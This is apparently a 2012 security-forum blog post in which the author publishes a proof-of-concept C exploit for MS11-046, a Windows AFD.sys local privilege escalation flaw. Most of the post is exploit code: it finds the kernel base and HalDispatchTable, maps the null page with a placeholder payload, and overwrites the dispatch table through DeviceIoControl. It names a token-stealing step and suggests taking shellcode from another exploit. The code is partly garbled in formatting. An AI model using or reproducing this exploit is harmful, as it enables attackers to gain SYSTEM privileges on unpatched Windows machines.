View RSS Feed

Fb1h2s aka Rahul Sasi's Blog

MS11-046 exploit Code, Windows local Privilege Escalation .

Rate this Entry
by , 04-08-2012 at 05:01 PM (5609 Views)
There was a good article released by Joni on MS11-046 vulnerability based on a malware he analysed .
http://www.exploit-db.com/wp-content...docs/18712.pdf
So I taught of spending my staurday night building an exploit for this .

Windows [not sure about Win 7] lets Mapping of 0x00000000 in user space, and this particular vulnerability windows fix [Ms011-46] was by adding a simple check for Null Pntr in the AFD.sys, which I find odd, so I assume Win 7 it would be possible too[#assuming ] .

There was no POC exploit available, so I just made a quick POC, well things were clear form Ronnie's article so nothing big .



MS11-046 Exploit Code by fb1h2s

MS11-046 Was a Zero day found in the wild , reported to MS by

Steven Adair from the Shadowserver Foundation and Chris S .
Microsoft Security Bulletin MS11-046 - Important : Vulnerability in Ancillary Function Driver Could Allow Elevation of Privilege (2503665)

Ronnie Johndas wrote the writeup dissecting a malware with this exploit .
http://www.exploit-db.com/wp-content...docs/18712.pdf

I Rahul Sasi(fb1h2s) just made the POC exploit available .
Garage4hackers Forum - Home
Twitter

Reference: ms8-66, ms6-49 exp codes

************************************************** ***********
Too lazy to add the shellcode , you could steel this one, it should work .

Symantec Local Privilege Escalation Vulnerability Exploit

The shell code to acheive privilage esclation as per the article used the following steps

http://www.exploit-db.com/wp-content...docs/18712.pdf
.

1) Use PslookupProcessId get system token
2) Replace it with the current process token, and we are system


************************************************** ***********
C Code:

PHP Code:
*/

#define SystemModuleInformation     11
#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif
#ifndef _WIN32_WINNT
//For XP Only
#define _WIN32_WINNT 0x0501
#endif
// We have a client sock conencting to 135 considering the fact it's open by default
#define DEFAULT_ADDR "127.0.0.1"
#define DEFAULT_PORT "135"

#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <iphlpapi.h>
#include <stdio.h>

#pragma comment(lib, "Ws2_32.lib")
#pragma comment (lib, "ntdll.lib")


//lets make a nop ret sandwitch
unsigned char hexcode[]="\x90\x90\x90\xcc\x90\x90\x90\x90";

/*
The shell code to acheive privilage esclation

Add you shellcode here as per the article http://www.exploit-db.com/wp-content/themes/exploit/docs/18712.pdf
 the malware used the following method.

 1) Wse PslookupProcessId get system token
 2) Replace it with the current process token, and we are system

*/

// he gets the above sandwitch
 
LPVOID hexcode_addr = (LPVOID)0x00000000;

 
DWORD sizeofshell 0x1000;
// he gets the haldispatch

 
ULONG_PTR HalDispatchTable;

 
//Holds the base adress of krnl

PVOID  krl_base;

//load adress of those %krnl%.exe dudes
HMODULE krl_addr;



// structure system_module_info data

typedef struct _SYSTEM_MODULE_INFORMATION {
    
ULONG  Reserved[2];
    
PVOID  Base;
    
ULONG  Size;
    
ULONG  Flags;
    
USHORT Index;
    
USHORT Unknown;
    
USHORT LoadCount;
    
USHORT ModuleNameOffset;
    
CHAR   ImageName[256];
SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

//sock addrinfo
struct addrinfo *result NULL,
                *
ptr NULL,
                
hints;


// The list of loaded drivers
typedef LONG NTSTATUS, *PNTSTATUS;

NTSTATUS
NTAPI
ZwQuerySystemInformation
(
        
IN ULONG SystemInformationClass,
        
IN PVOID SystemInformation,
        
IN ULONG SystemInformationLength,
        
OUT PULONG ReturnLength);
typedef enum _KPROFILE_SOURCE {


    
ProfileTime,
    
ProfileAlignmentFixup,
    
ProfileTotalIssues,
    
ProfilePipelineDry,
    
ProfileLoadInstructions,
    
ProfilePipelineFrozen,
    
ProfileBranchInstructions,
    
ProfileTotalNonissues,
    
ProfileDcacheMisses,
    
ProfileIcacheMisses,
    
ProfileCacheMisses,
    
ProfileBranchMispredictions,
    
ProfileStoreInstructions,
    
ProfileFpInstructions,
    
ProfileIntegerInstructions,
    
Profile2Issue,
    
Profile3Issue,
    
Profile4Issue,
    
ProfileSpecialInstructions,
    
ProfileTotalCycles,
    
ProfileIcacheIssues,
    
ProfileDcacheAccesses,
    
ProfileMemoryBarrierCycles,
    
ProfileLoadLinkedIssues,
    
ProfileMaximum

KPROFILE_SOURCE, *PKPROFILE_SOURCE;


typedef DWORD (WINAPI *PNTQUERYINTERVAL)( KPROFILE_SOURCE ProfileSource,PULONG Interval );

typedef NTSTATUS (WINAPI *PNTALLOCATE)( IN HANDLE ProcessHandle,
          
IN OUT PVOID *BaseAddress,
          
IN ULONG ZeroBits,
          
IN OUT PULONG RegionSize,
          
IN ULONG AllocationType,
          
IN ULONG Protect );




int main() {

    
//All the declarations goes here

    
PNTQUERYINTERVAL ZwQueryIntervalProfile;
    
PNTALLOCATE ZwAllocateVirtualMemory;
    
KPROFILE_SOURCE stProfile ProfileTotalIssues;
    
ULONG Ret_size;
    
NTSTATUS status,alloc_status ;

    
ULONG in, *q;
    
PSYSTEM_MODULE_INFORMATION p;
    
void *base;
    
WSADATA wsaData;
    
SOCKET ConnectSocket INVALID_SOCKET;
    
int iResult;
    
DWORD ibuf [0x30];
    
DWORD obuf [0x30];
    
ULONG_PTR result;

    
hints.ai_family AF_UNSPEC;
    
hints.ai_socktype SOCK_STREAM;
    
hints.ai_protocol IPPROTO_TCP;


    
printf("\n [+] MS11-046 Exploit by fb1h2s(Rahul Sasi) ");
   
/*
MS11-046 Was a Zero day found in the wild , reported to MS by

Steven Adair from the Shadowserver Foundation and Chris S .

Ronnie Johndas wrote the writeup dissecting a malware with the exploit details .

I Rahul Sasi(fb1h2s) just made the POC exploit available .

Reference: ms8_66, ms6_49 http://www.whitecell.org/list.php?id=50 exp codes

*/
    
status ZwQuerySystemInformation(SystemModuleInformation, &n0, &n);

    
= (ULONG *)malloc(sizeof(*q));
    if (
== NULL) {
        
perror("malloc");
        return -
1;
    }

    
status ZwQuerySystemInformation(SystemModuleInformationqsizeof(*q), NULL);

    
= (PSYSTEM_MODULE_INFORMATION)(1);
    
base NULL;

    
// Loop Loop The table and check for our krl

    
for (0< *qi++)
    {

     if( 
strstr(p[i].ImageName,"ntkrnlpa.exe") )

      {
             
printf("\n [+] Yo Yo found, and am In ntkrnlpa.exe \n");

              
krl_addr LoadLibraryExA("ntkrnlpa.exe",0,1);
              
printf("\t Base: 0x%x size: %u\t%s\n",
            
p[i].Base,
            
p[i].Size,
            
p[i].ImageName);
            
krl_base p[i].Base;
            break;
       }

      else if(
strstr(p[i].ImageName,"ntoskrnl.exe"))

       {

             
printf("\n [+] Yo Yo found, and am In ntoskrnl.exe\n");

             
krl_addr LoadLibraryExA("ntoskrnl.exe",0,1);
             
printf("\t Base Adress: 0x%x ",p[i].Base);
             
krl_base p[i].Base;
             break;

       }

       else
          {
              
printf("\n [+]Cdnt find, and am out\n");
              exit(
0);
          }


      }
    
free(q);


printf("\n[+] Continue with Exploitation\n");

HalDispatchTable = (ULONG_PTR)GetProcAddress(krl_addr,
            
"HalDispatchTable");

 if( !
HalDispatchTable )
 {
  
printf("[!!] Sh*t happen with HalDispatchTablen");
  return 
FALSE;
 }

 
printf("\tBase Nt=: 0x%x ",krl_base);
 
HalDispatchTable -= ( ULONG_PTR )krl_addr;
 
HalDispatchTable += krl_base;

 
printf("\n[+] HalDispatchTable found \t\t\t [ 0x%p ]\n",HalDispatchTable);


 
printf("[+] ZwQueryIntervalProfile ");

ZwQueryIntervalProfile = ( PNTQUERYINTERVAL GetProcAddress(GetModuleHandle("ntdll.dll"),
                     
"ZwQueryIntervalProfile");
 if( !
ZwQueryIntervalProfile )
 {
  
printf("[!!] Sh*t happen resolving ZwQueryIntervalProfile\n");
  return 
FALSE;
 }
 
printf"\t\t\t [ 0x%p ]\n",ZwQueryIntervalProfile );



printf("[+] ZwAllocateVirtualMemory");


 
ZwAllocateVirtualMemory = (PNTALLOCATEGetProcAddress(GetModuleHandle"ntdll.dll"),
                   
"ZwAllocateVirtualMemory");

 if( !
ZwAllocateVirtualMemory )
 {
  
printf("[!!] Unable to resolve ZwAllocateVirtualMemory\n");
  return 
FALSE;
 }

 
printf"\t\t\t [ 0x%p ]\n",ZwAllocateVirtualMemory );
 
printf("\n[+] Allocating memory at [ 0x%p ]...\n",hexcode_addr);

 
alloc_status ZwAllocateVirtualMemoryINVALID_HANDLE_VALUE,
        &
hexcode_addr,
        
0,
        &
sizeofshell,
        
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
        
PAGE_EXECUTE_READWRITE );
 
printf("\n[+] status %p.\n",alloc_status );

 if( 
alloc_status != )
 {
  
printf("[-] Sh*t happen with NtAllocateVirtualMemory() , %#X\n",
                         
alloc_status);

 }

 
printf("\t\tZwAllocateVirtualMemory() Allocated return Status, %#X\n",
                         
alloc_status);
 
memset(hexcode_addr0x90sizeofshell);

 
memcpy( (void*)((BYTE*)hexcode_addr 0x100),(void*)hexcodesizeof(hexcode));

iResult WSAStartup(MAKEWORD(2,2), &wsaData);
if (
iResult != 0) {
    
printf("WASUP Failed: %d\n"iResult);
    return 
1;
}

iResult getaddrinfo(DEFAULT_ADDRDEFAULT_PORT, &hints, &result);


ptr=result;

// SOCKET for connecting to localhost at 135

ConnectSocket socket(ptr->ai_familyptr->ai_socktype,
    
ptr->ai_protocol);
if (
ConnectSocket == INVALID_SOCKET) {
    
printf("[-] This is bad , Socket Error : %ld\n"WSAGetLastError());
    
freeaddrinfo(result);
    
WSACleanup();
    return 
1;
}

// Connect to server.
iResult connectConnectSocketptr->ai_addr, (int)ptr->ai_addrlen);
if (
iResult == SOCKET_ERROR) {
    
closesocket(ConnectSocket);
    
ConnectSocket INVALID_SOCKET;
    
printf("[+]Unable to connect to server, modify code and add a server socket, and connect to it!\n");
    
WSACleanup();
    return ;
}

else {
           
printf("[+]Hola Connected to server !\n");
    }



memset(ibuf,0x90,sizeof(ibuf));
memset(obuf,0x90,sizeof(obuf));

DeviceIoControl((HANDLE)ConnectSocket,
     
0x12007,
     (
LPVOID)ibuf,sizeof(ibuf),
     (
LPVOID)obuf,0,
     &
Ret_size,
     
NULL);


 
printf("\n\n[+] Overwriting HalDispatchTable ....");

 
DeviceIoControl((HANDLE)ConnectSocket,
     
0x12007,
     (
LPVOID)ibuf,sizeof(ibuf),
     (
LPVOID)HalDispatchTable,0,
     &
Ret_size,
     
NULL);



 
printf("\n\n[+] This should work and break...");

 
ZwQueryIntervalProfile(stProfile,&result);





"vinnu" likes this.
Categories
Uncategorized

Comments

Trackbacks

Total Trackbacks 0
Trackback URL: